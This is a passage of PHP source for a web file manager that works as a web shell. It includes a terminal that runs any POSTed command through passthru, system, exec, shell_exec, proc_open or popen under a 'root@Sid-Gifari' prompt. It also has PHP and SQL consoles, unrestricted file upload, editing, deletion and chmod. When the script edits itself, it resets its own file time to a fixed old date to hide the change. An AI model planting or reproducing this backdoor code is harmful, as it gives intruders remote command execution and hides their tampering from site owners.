H9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

